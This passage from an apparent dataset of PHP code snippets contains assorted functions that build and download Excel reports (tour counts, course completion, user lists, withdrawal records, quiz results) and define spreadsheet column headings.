$tourWeekCounts[$week]);\n\t\tif($file)\n\t\t\tfwrite($f, \"Week $week, Total Tours \".$tourWeekCounts[$week].\"\\n\");\n\t\t$displayWeek++;\n\t}\n\t//then write the totals for the semester\n\tfor($day = 1; $day < 6; $day++){\n\t\tif($excel)\n\t\t\t$statsSheet->write_number($displayWeek + 1, $day, $tourDayCounts[$day]);\n\t\tif($file)\n\t\t\tfwrite($f, \"Day $day, Total Tours \".$tourDayCounts[$day].\"\\n\");\n\t}\n\n\tif($excel)\n\t\t$statsSheet->write_number($displayWeek + 1, 6, $numSemesterTours);\n\tif($file)\n\t\tfwrite($f, \"Total Tours: $numSemesterTours\\n\");\n\n\tunset($tourDayCounts);\n\tunset($tourWeekCounts);\n\tunset($tourDateCounts);\n\tunset($weekStrings);\n}", "private function get_tc_step_list($php_excel)\r\n {\r\n $sheet_count = $php_excel->getSheetCount();\r\n for ($sheet_index = 0; $sheet_index < $sheet_count; $sheet_index++)\r\n {\r\n $php_excel->setActiveSheetIndex($sheet_index);\r\n $sheet_row_count = $php_excel->getActiveSheet()->getHighestRow();\r\n \r\n // first row is title , no need to import\r\n for ($row = FIRST_DATA_ROW; $row <= $sheet_row_count; $row++)\r\n {\r\n $tc_step_node = $this->parse_row_from_excel($php_excel, $row);\r\n $this->tc_step_data_list[$this->tc_step_index] = $tc_step_node;\r\n $this->tc_step_index++;\r\n }\r\n }\r\n }", "public function export()\n\t{\n\t\tinclude APPPATH . 'third_party/PHPExcel/PHPExcel.php';\n\n\t\t// Panggil class PHPExcel nya\n\t\t$excel = new PHPExcel();\n\n\t\t// Settingan awal fil excel\n\t\t$excel->getProperties()->setCreator('PT Pelindo')\n\t\t\t->setLastModifiedBy('PT Pelindo')\n\t\t\t->setTitle(\"Rekap Rapor Akhlak\")\n\t\t\t->setSubject(\"Rekap Rapor Akhlak\")\n\t\t\t->setDescription(\"Rekap Rapor Akhlak\")\n\t\t\t->setKeywords(\"Rekap Rapor Akhlak\");\n\n\t\t// Buat sebuah variabel untuk menampung pengaturan style dari header tabel\n\t\t$style_col = array(\n\t\t\t'font' => array('bold' => true), // Set font nya jadi bold\n\t\t\t'alignment' => array(\n\t\t\t\t'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n\t\t\t\t'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n\t\t\t),\n\t\t\t'borders' => array(\n\t\t\t\t'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n\t\t\t\t'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n\t\t\t\t'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n\t\t\t\t'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n\t\t\t)\n\t\t);\n\n\t\t// Buat sebuah variabel untuk menampung pengaturan style dari isi tabel\n\t\t$style_row = array(\n\t\t\t'alignment' => array(\n\t\t\t\t'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n\t\t\t),\n\t\t\t'borders' => array(\n\t\t\t\t'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n\t\t\t\t'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n\t\t\t\t'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n\t\t\t\t'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n\t\t\t)\n\t\t);\n\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('A1', \"Rekap Rapor Akhlak\"); // Set kolom A1 dengan tulisan \"Rekap Rapor Akhlak\"\n\t\t$excel->getActiveSheet()->mergeCells('A1:J1'); // Set Merge Cell pada kolom A1 sampai E1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(TRUE); // Set bold kolom A1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(15); // Set font size 15 untuk kolom A1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); // Set text center untuk kolom A1\n\n\t\t// Buat header tabel nya pada baris ke 3\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('A3', \"NO\"); // Set kolom A3 dengan tulisan \"NO\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('B3', \"NAMA CABANG\"); // Set kolom B3 dengan tulisan \"NIS\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('C3', \"NILAI AMANAH\"); // Set kolom C3 dengan tulisan \"NAMA\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('D3', \"NILAI KOMPETEN\"); // Set kolom D3 dengan tulisan \"JENIS KELAMIN\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('E3', \"NILAI HARMONIS\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('F3', \"NILAI LOYAL\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('G3', \"NILAI ADAPTIF\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('H3', \"NILAI KOLABORATIF\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('I3', \"NILAI TOTAL\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('J3', \"TANGGAL UPLOAD\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\n\t\t// Apply style header yang telah kita buat tadi ke masing-masing kolom header\n\t\t$excel->getActiveSheet()->getStyle('A3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('B3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('C3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('D3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('E3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('F3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('G3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('H3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('I3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('J3')->applyFromArray($style_col);\n\n\t\t// Panggil function view yang ada di SiswaModel untuk menampilkan semua data siswanya\n\t\t$siswa = $this->RaporModel->view();\n\n\t\t$no = 1; // Untuk penomoran tabel, di awal set dengan 1\n\t\t$numrow = 4; // Set baris pertama untuk isi tabel adalah baris ke 4\n\t\tforeach ($siswa as $data) { // Lakukan looping pada variabel siswa\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('A' . $numrow, $no);\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('B' . $numrow, $data->cabang);\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('C' . $numrow, $data->nilai_amanah . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('D' . $numrow, $data->nilai_kompeten . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('E' . $numrow, $data->nilai_harmonis . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('F' . $numrow, $data->nilai_loyal . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('G' . $numrow, $data->nilai_adaptif . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('H' . $numrow, $data->nilai_kolab . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('I' . $numrow, $data->nilai_total . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('J' . $numrow, $data->created_at);\n\n\t\t\t// Apply style row yang telah kita buat tadi ke masing-masing baris (isi tabel)\n\t\t\t$excel->getActiveSheet()->getStyle('A' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('B' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('C' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('D' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('E' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('F' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('G' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('H' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('I' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('J' . $numrow)->applyFromArray($style_row);\n\n\t\t\t$no++; // Tambah 1 setiap kali looping\n\t\t\t$numrow++; // Tambah 1 setiap kali looping\n\t\t}\n\n\t\t// Set width kolom\n\t\t$excel->getActiveSheet()->getColumnDimension('A')->setWidth(2); // Set width kolom A\n\t\t$excel->getActiveSheet()->getColumnDimension('B')->setWidth(14); // Set width kolom B\n\t\t$excel->getActiveSheet()->getColumnDimension('C')->setWidth(14); // Set width kolom C\n\t\t$excel->getActiveSheet()->getColumnDimension('D')->setWidth(16); // Set width kolom D\n\t\t$excel->getActiveSheet()->getColumnDimension('E')->setWidth(16); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('F')->setWidth(12); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('G')->setWidth(14); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('H')->setWidth(19); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('I')->setWidth(12); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('J')->setWidth(19); // Set width kolom E\n\n\t\t// Set height semua kolom menjadi auto (mengikuti height isi dari kolommnya, jadi otomatis)\n\t\t$excel->getActiveSheet()->getDefaultRowDimension()->setRowHeight(-1);\n\n\t\t// Set orientasi kertas jadi LANDSCAPE\n\t\t$excel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\n\t\t// Set judul file excel nya\n\t\t$excel->getActiveSheet(0)->setTitle(\"Rekap Rapor Akhlak\");\n\t\t$excel->setActiveSheetIndex(0);\n\n\t\t// Proses file excel\n\t\theader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n\t\theader('Content-Disposition: attachment; filename=\"Rekap Rapor Akhlak.xlsx\"'); // Set nama file excel nya\n\t\theader('Cache-Control: max-age=0');\n\n\t\t$write = PHPExcel_IOFactory::createWriter($excel, 'Excel2007');\n\t\t$write->save('php://output');\n\t}", "public function importInterface_ch_co(){\n return view('/drugAdministration/drugs/importExcel_co_ch');\n }", "public function headings(): array\n {\n return [\n '#ID',\n 'APELLIDO',\n 'NOMBRE',\n 'EMAIL',\n 'ROLE',\n 'PERMISOS ADICIONALES',\n 'FECHA DE CREACIÓN',\n ];\n }", "public function gen_excel() {\n $this->load->library('excel');\n //activate worksheet number 1\n $this->excel->setActiveSheetIndex(0);\n //name the worksheet\n $this->excel->getActiveSheet()->setTitle('Customer list');\n\n // load database\n $this->load->database();\n\n // load model\n // get all users in array formate\n $this->load->model('Welcome_model');\n\n \n// $data['res'] = $this->customer_model->load_product_data($product, $type);\n \n $table_data = $this->Welcome_model->select_Insert_data();\n \n// echo '<pre>';\n// print_r($res);\n// exit();\n \n// $this->customer_model->create_openJobOrder_excel($data);\n $this->Welcome_model->creat_Excel($table_data);\n }", "public function report_data_user($kode_role)\n{\nif($kode_role != 'ALL'){\n$user = $this->Muser->report_data_userbyrole($kode_role);\n}else{\n$user = $this->Muser->report_data_user();\n}\n// Create new Spreadsheet object\n$spreadsheet = new Spreadsheet();\n\n//auto width cell\nforeach(range('A','H') as $columnID) {\n $spreadsheet->getActiveSheet()->getColumnDimension($columnID)\n ->setAutoSize(true);\n}\n\n// Set document properties\n$spreadsheet->getProperties()->setCreator('STMIK BANDUNG')\n->setLastModifiedBy('STMIK BANDUNG')\n->setTitle('Office 2007 XLSX Test Document')\n->setSubject('Office 2007 XLSX Test Document')\n->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n->setKeywords('office 2007 openxml php')\n->setCategory('result file');\n\n// Add some data\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A1', 'NO')\n->setCellValue('B1', 'NIDN')\n->setCellValue('C1', 'NAMA')\n->setCellValue('D1', 'EMAIL')\n->setCellValue('E1', 'PRODI')\n->setCellValue('F1', 'NO TELEPON')\n->setCellValue('G1', 'JENIS KELAMIN')\n->setCellValue('H1', 'HAK AKSES')\n\n;\n\n// Miscellaneous glyphs, UTF-8\n$i=2; $no=1; foreach($user as $data) {\n\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A'.$i, $no)\n->setCellValue('B'.$i, $data->nidn)\n->setCellValue('C'.$i, $data->name)\n->setCellValue('D'.$i, $data->email)\n->setCellValue('E'.$i, $data->prodi)\n->setCellValue('F'.$i, $data->no_telp)\n->setCellValue('G'.$i, $data->gender)\n->setCellValue('H'.$i, $data->role)\n\n;\n$i++;\n$no++;\n}\n\n\n// Rename worksheet\n$spreadsheet->getActiveSheet()->setTitle('Report Data User '.date('d-m-Y H'));\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n$spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web browser (Xlsx)\nheader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\nheader('Content-Disposition: attachment;filename=\"Report Data User.xlsx\"');\nheader('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\nheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\nheader('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\nheader('Cache-Control: cache, must-revalidate'); // HTTP/1.1\nheader('Pragma: public'); // HTTP/1.0\n\n$writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n$writer->save('php://output');\nexit;\n}", "public static function wdtSheetsNoHeadingValidation()\n {\n return [\n 'Age-Gen-Educ-Employ',\n 'Employment_timeseries',\n 'Training activity_FoE',\n 'Training activity_TP',\n 'Qual completions',\n // TODO more imports\n ];\n }", "public function headings(): array\n {\n return [\n 'id',\n 'mshp_version_id',\n 'cmr_law_number',\n 'cmr_chapter',\n 'cmr_charge_code_seq',\n 'cmr_charge_code_fingerprintable',\n 'cmr_charge_code_effective_year',\n 'cmr_charge_code_ncic_category',\n 'cmr_charge_code_ncic_modifier',\n 'charge_code',\n 'ncic_mod',\n 'state_mod',\n 'description',\n 'type_class',\n 'dna',\n 'sor',\n 'roc',\n 'case_type',\n 'effective_date',\n ];\n }", "private function initExcel()\n {\n $this->savePointer = function () {\n $arrayData = [];\n $arrayData[] = $this->headerRow;\n for ($i = 0; i < count($this->body); $i ++) {\n $arrayData[] = $this->body[$i];\n }\n $this->dataCollection->getActiveSheet()->fromArray($arrayData, NULL,\n 'A1');\n $writer = new Xlsx($this->dataCollection);\n $writer->save($this->reportPath);\n $this->dataCollection->disconnectWorksheets();\n unset($this->dataCollection);\n header('Content-type: application/vnd.ms-excel');\n header(\n 'Content-Disposition: attachment; filename=' . $this->reportTitle .\n '.xls');\n };\n }", "public function exportExcelAction()\n {\n $fileName = 'traineedoc.xls';\n $content = $this->getLayout()->createBlock('bs_traineedoc/adminhtml_traineedoc_grid')\n ->getExcelFile();\n $this->_prepareDownloadResponse($fileName, $content);\n }", "function get_columns() {\n\n //determine whether to show the enrolment status column\n $preferences = php_report_filtering_get_active_filter_values($this->get_report_shortname(),\n 'columns_status', $this->filter);\n\n //default to false because empty group returns non-empty info, causing issues\n //and we will always hit a parameter screen before running the report\n $show_status = true;\n if (isset($preferences['0']['value'])) {\n $show_status = $preferences['0']['value'];\n }\n\n //determine whether to show the completion element column\n $preferences = php_report_filtering_get_active_filter_values($this->get_report_shortname(),\n 'columns_completion', $this->filter);\n\n //default to false because empty group returns non-empty info, causing issues\n //and we will always hit a parameter screen before running the report\n $show_completion = true;\n if (isset($preferences['0']['value'])) {\n $show_completion = $preferences['0']['value'];\n }\n\n\n //user idnumber\n $idnumber_heading = get_string('column_idnumber', 'rlreport_course_completion_by_cluster');\n $idnumber_column = new table_report_column('user.idnumber AS useridnumber', $idnumber_heading, 'idnumber');\n\n //user fullname\n $name_heading = get_string('column_user_name', 'rlreport_course_completion_by_cluster');\n $name_column = new table_report_column('user.firstname', $name_heading, 'user_name');\n\n //CM course name\n $course_heading = get_string('column_course', 'rlreport_course_completion_by_cluster');\n $course_column = new table_report_column('course.name AS course_name', $course_heading, 'course');\n\n //whether the course is required in the curriculum\n $required_heading = get_string('column_required', 'rlreport_course_completion_by_cluster');\n $required_column = new table_report_column('curriculum_course.required', $required_heading, 'required');\n\n //\n $class_heading = get_string('column_class', 'rlreport_course_completion_by_cluster');\n $class_column = new table_report_column('class.idnumber AS classidnumber', $class_heading, 'class');\n\n //array of all columns\n $result = array(\n $idnumber_column, $name_column, $course_column, $required_column, $class_column);\n\n //add the enrolment status column if applicable, based on the filter\n if ($show_status) {\n $completed_heading = get_string('column_completed', 'rlreport_course_completion_by_cluster');\n $result[] = new table_report_column('enrol.completestatusid', $completed_heading, 'completed');\n }\n\n //always show the grade column\n $grade_heading = get_string('column_grade', 'rlreport_course_completion_by_cluster');\n $result[] = new table_report_column('enrol.grade', $grade_heading, 'grade');\n\n //show number of completion elements completed if applicable, based on the filter\n if ($show_completion) {\n $completionelements_heading = get_string('column_numcomplete', 'rlreport_course_completion_by_cluster');\n $result[] = new table_report_column('COUNT(class_graded.id) AS numcomplete',\n $completionelements_heading, 'numcomplete');\n }\n\n return $result;\n }", "public function getGridHeadings() {\n return [ StringLiterals::GRIDHEADING => [ [ 'name' => trans ( 'cms::latestnews.title' ),StringLiterals::VALUE => 'name','sort' => false ],[ 'name' => trans ( 'cms::latestnews.post_creator' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.post_image' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.created_at' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.status' ),StringLiterals::VALUE => 'is_active','sort' => false ],[ 'name' => trans ( 'cms::latestnews.action' ),StringLiterals::VALUE => 'is_active','sort' => false ] ] ];\n }", "public function headings() {\n\t\t$vals = array_keys(get_object_vars($this));\n\t\treturn( array_reduce($vals, create_function('$a,$b','return is_null($a) ? \"$b\" : \"$a\".\"\\t\".\"$b\";')));\n\t}", "private function _downloadApplyExcel($dataProvider) {\r\n $objPHPExcel = new \\PHPExcel();\r\n \r\n // Set document properties\r\n $objPHPExcel->getProperties()\r\n ->setCreator(\"wuliu.youjian8.com\")\r\n ->setLastModifiedBy(\"wuliu.youjian8.com\")\r\n ->setTitle(\"youjian logistics order\")\r\n ->setSubject(\"youjian logistics order\")\r\n ->setDescription(\"youjian logistics order\")\r\n ->setKeywords(\"youjian logistics order\")\r\n ->setCategory(\"youjian logistics order\");\r\n $datas = $dataProvider->query->all();\r\n if ($datas) {\r\n $objPHPExcel->setActiveSheetIndex(0)\r\n ->setCellValue('A1', '申请人')\r\n ->setCellValue('B1', '开户行')\r\n ->setCellValue('C1', '状态')\r\n ->setCellValue('D1', '申请时间')\r\n ->setCellValue('E1', '会员号')\r\n ->setCellValue('F1', '开户名')\r\n ->setCellValue('G1', '银行卡号')\r\n ->setCellValue('H1', '银行')\r\n ->setCellValue('I1', '金额')\r\n ->setCellValue('J1', '付款时间')\r\n ->setCellValue('K1', '付款人');\r\n $i = 2;\r\n $objPHPExcel->setActiveSheetIndex(0)->getStyle('E')->getNumberFormat()->setFormatCode(\\PHPExcel_Style_NumberFormat::FORMAT_TEXT);\r\n $objPHPExcel->setActiveSheetIndex(0)->getStyle('G')->getNumberFormat()->setFormatCode(\\PHPExcel_Style_NumberFormat::FORMAT_TEXT);\r\n $objPHPExcel->setActiveSheetIndex(0)->getStyle('I')->getNumberFormat()->setFormatCode(\\PHPExcel_Style_NumberFormat::FORMAT_TEXT);\r\n foreach ($datas as $model) {\r\n // Add some data\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue('A'.$i, ArrayHelper::getValue($model, 'userTrueName.user_truename'));\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue('B'.$i, ArrayHelper::getValue($model, 'bankInfo.bank_info_bank_address'));\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue('C'.$i, $model->getStatusName());\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue('D'.$i, date('Y-m-d H:i', $model->add_time));\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValueExplicit('E'.$i, ''.ArrayHelper::getValue($model, 'userTrueName.username'));\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue('F'.$i, ArrayHelper::getValue($model, 'bankInfo.bank_info_account_name'));\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValueExplicit('G'.$i, ''.ArrayHelper::getValue($model, 'bankInfo.bank_info_card_no'));\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue('H'.$i, ArrayHelper::getValue($model, 'bankInfo.bank_info_bank_name'));\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValueExplicit('I'.$i, ''.$model->amount);\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue('J'.$i, $model->pay_time?date('Y-m-d H:i', $model->pay_time):'');\r\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue('K'.$i, $model->pay_user_id?ArrayHelper::getValue($model, 'adminUserName.username'):'');\r\n $i++;\r\n }\r\n }\r\n \r\n // Rename worksheet\r\n $objPHPExcel->getActiveSheet()->setTitle('提现记录');\r\n \r\n \r\n // Set active sheet index to the first sheet, so Excel opens this as the first sheet\r\n $objPHPExcel->setActiveSheetIndex(0);\r\n \r\n \r\n // Redirect output to a client’s web browser (Excel5)\r\n header('Content-Type: application/vnd.ms-excel');\r\n header('Content-Disposition: attachment;filename=\"提现记录.xls\"');\r\n header('Cache-Control: max-age=0');\r\n // If you're serving to IE 9, then the following may be needed\r\n header('Cache-Control: max-age=1');\r\n \r\n // If you're serving to IE over SSL, then the following may be needed\r\n header ('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\r\n header ('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); // always modified\r\n header ('Cache-Control: cache, must-revalidate'); // HTTP/1.1\r\n header ('Pragma: public'); // HTTP/1.0\r\n \r\n $objWriter = \\PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');\r\n $objWriter->save('php://output');\r\n exit;\r\n }", "function export($config, $view) {\n\t\t$objPHPExcel = new PHPExcel();\n\t\t$objPHPExcel->getProperties()->setCreator('HITS Soluciones Informáticas');\n\t\t$objPHPExcel->getActiveSheetIndex(0);\n\t\t$objPHPExcel->getActiveSheet()->setTitle($config['title']);//Titulo como variable\n\t\t$column = 0;\n\t\t$row = 1;\n\t\tif($config['header']) {\n\t\t\tforeach ($config['header'] as $header) {\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($column, $row, $header);\n\t\t\t\t$column++;\n\t\t\t}\n\t\t\t$column = 0;\n\t\t\t$row++;\n\t\t}\n\t\tforeach ($view as $record) {\n\t\t\tforeach ($record as $value) {\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($column, $row, $value);\n\t\t\t\t$column++;\n\t\t\t}\n\t\t\t$column = 0;\n\t\t\t$row++;\n\t\t}\n\t\tfor ($i = 'A'; $i <= 'Z'; $i++){\n\t\t\t$objPHPExcel->getActiveSheet()->getColumnDimension($i)->setAutoSize(true); \n\t\t}\n\t\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n\t\theader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n\t\theader('Content-Disposition: attachment;filename=\"'.$config['title'].'.xlsx');\n\t\theader('Cache-Control: max-age=0');\n\t\t$objWriter->save('php://output');\n\t}", "public function headingRow(): int\n {\n return 1;\n }", "public function actionTitles()\n\t{\n $this->setPageTitle(\"IVR Branch Titles\");\n $this->setGridDataUrl($this->url('task=get-ivr-branch-data&act=get-titles'));\n $this->display('ivr_branch_titles');\n\t}", "public function getAdminPanelHeaderData() {}", "function exportResults() {\n $format_bold = \"\";\n $format_percent = \"\";\n $format_datetime = \"\";\n $format_title = \"\";\n $surveyname = \"mobilequiz_data_export\";\n\n include_once \"./Services/Excel/classes/class.ilExcelWriterAdapter.php\";\n $excelfile = ilUtil::ilTempnam();\n $adapter = new ilExcelWriterAdapter($excelfile, FALSE);\n $workbook = $adapter->getWorkbook();\n $workbook->setVersion(8); // Use Excel97/2000 Format\n //\n // Create a worksheet\n $format_bold =& $workbook->addFormat();\n $format_bold->setBold();\n $format_percent =& $workbook->addFormat();\n $format_percent->setNumFormat(\"0.00%\");\n $format_datetime =& $workbook->addFormat();\n $format_datetime->setNumFormat(\"DD/MM/YYYY hh:mm:ss\");\n $format_title =& $workbook->addFormat();\n $format_title->setBold();\n $format_title->setColor('black');\n $format_title->setPattern(1);\n $format_title->setFgColor('silver');\n $format_title->setAlign('center');\n\n // Create a worksheet\n include_once (\"./Services/Excel/classes/class.ilExcelUtils.php\");\n\n // Get rounds from the Database\n $rounds = $this->object->getRounds();\n\n if(!count($rounds) == 0) {\n foreach($rounds as $round){\n\n // Add a seperate worksheet for every Round\n $mainworksheet =& $workbook->addWorksheet(\"Runde \".$round['round_id']);\n $column = 0;\n $row = 0;\n\n // Write first line with titles\n $mainworksheet->writeString(0, $column, ilExcelUtils::_convert_text(\"Frage\", \"excel\", $format_bold));\n $column++;\n $mainworksheet->writeString(0, $column, ilExcelUtils::_convert_text(\"Fragentyp\", \"excel\", $format_bold));\n $column++;\n $mainworksheet->writeString(0, $column, ilExcelUtils::_convert_text(\"Antwort\", \"excel\", $format_bold));\n $column++;\n $mainworksheet->writeString(0, $column, ilExcelUtils::_convert_text(\"Antworttyp\", \"excel\", $format_bold));\n $column++;\n $mainworksheet->writeString(0, $column, ilExcelUtils::_convert_text(\"Anzahl\", \"excel\", $format_bold));\n\n $round_id = $round['round_id']; \n $questions = $this->object->getQuestions($this->object->getId());\n\n if(!count($questions) == 0) {\n foreach ($questions as $question){\n\n $choices = $this->object->getChoices($question['question_id']);\n $answers = $this->object->getAnswers($round_id);\n\n switch ($question['type']) {\n case QUESTION_TYPE_SINGLE :\n case QUESTION_TYPE_MULTI:\n if(!count($choices) == 0) {\n foreach($choices as $choice){\n $count = 0;\n\n foreach ($answers as $answer){\n if (($answer['choice_id'] == $choice['choice_id'])&&($answer['value'] != 0)){\n $count++;\n }\n }\n // write into sheet\n $column = 0;\n $row++;\n $mainworksheet->writeString($row, $column, ilExcelUtils::_convert_text($question['text'], \"excel\", $format_bold));\n $column++;\n $mainworksheet->writeString($row, $column, ilExcelUtils::_convert_text($question['type'], \"excel\", $format_bold));\n $column++;\n $mainworksheet->writeString($row, $column, ilExcelUtils::_convert_text($choice['text'], \"excel\", $format_bold));\n $column++;\n $mainworksheet->writeString($row, $column, ilExcelUtils::_convert_text($choice['correct_value'], \"excel\", $format_bold));\n $column++;\n $mainworksheet->writeNumber($row, $column, ilExcelUtils::_convert_text($count, \"excel\", 0));\n }\n }\n break;\n case QUESTION_TYPE_NUM:\n if(!count($choices) == 0) {\n foreach($choices as $choice){ // Theres always only one Choice with numeric questions\n \n // get Answers to this choice\n $answers = $this->object->getAnswersToChoice($round_id, $choice['choice_id']); \n \n // Summarize the answers\n $values = array();\n foreach ($answers as $answer){\n $value = $answer['value'];\n if (key_exists($value, $values)){\n $values[$value] += 1;\n } else {\n $values[$value] = 1;\n } \n }\n \n // Sort values from low to high\n ksort($values);\n \n // Write values in Sheet\n foreach ($values as $value => $count){\n // write into sheet\n $column = 0;\n $row++;\n $mainworksheet->writeString($row, $column, ilExcelUtils::_convert_text($question['text'], \"excel\", $format_bold));\n $column++;\n $mainworksheet->writeString($row, $column, ilExcelUtils::_convert_text($question['type'], \"excel\", $format_bold));\n $column++;\n $mainworksheet->writeNumber($row, $column, ilExcelUtils::_convert_text($value, \"excel\", 0));\n $column++;\n $mainworksheet->writeNumber($row, $column, ilExcelUtils::_convert_text(' ', \"excel\", 0));\n $column++;\n $mainworksheet->writeNumber($row, $column, ilExcelUtils::_convert_text($count, \"excel\", 0));\n }\n }\n }\n break;\n }\n // write empty line after question\n $row++;\n }\n }\n }\n }\n // Send file to client\n $workbook->close();\n ilUtil::deliverFile($excelfile, \"$surveyname.xls\", \"application/vnd.ms-excel\");\n exit();\n }", "public function headings(): array\n {\n return [\n 'Name',\n 'Developer Name',\n 'Status',\n 'Description',\n 'Created At',\n ];\n }", "public function details (){\n $connection = new database();\n $table = new simple_table_ops();\n\n $id = $_GET['id']; // timetable_id\n $content = \"<div class='link_button'>\n <a href='?controller=teachers&action=export'>Export to EXCEL</a>\n <a href='?controller=curricula&action=index'>Curricula</a>\n </div>\";\n\n $content .= \"<div class='third_left'>\";\n $content .='<p>You can configure the timetable for the following course:<p>';\n\n $sql = \"SELECT curricula.curriculum_id, CONCAT (teachers.nom, 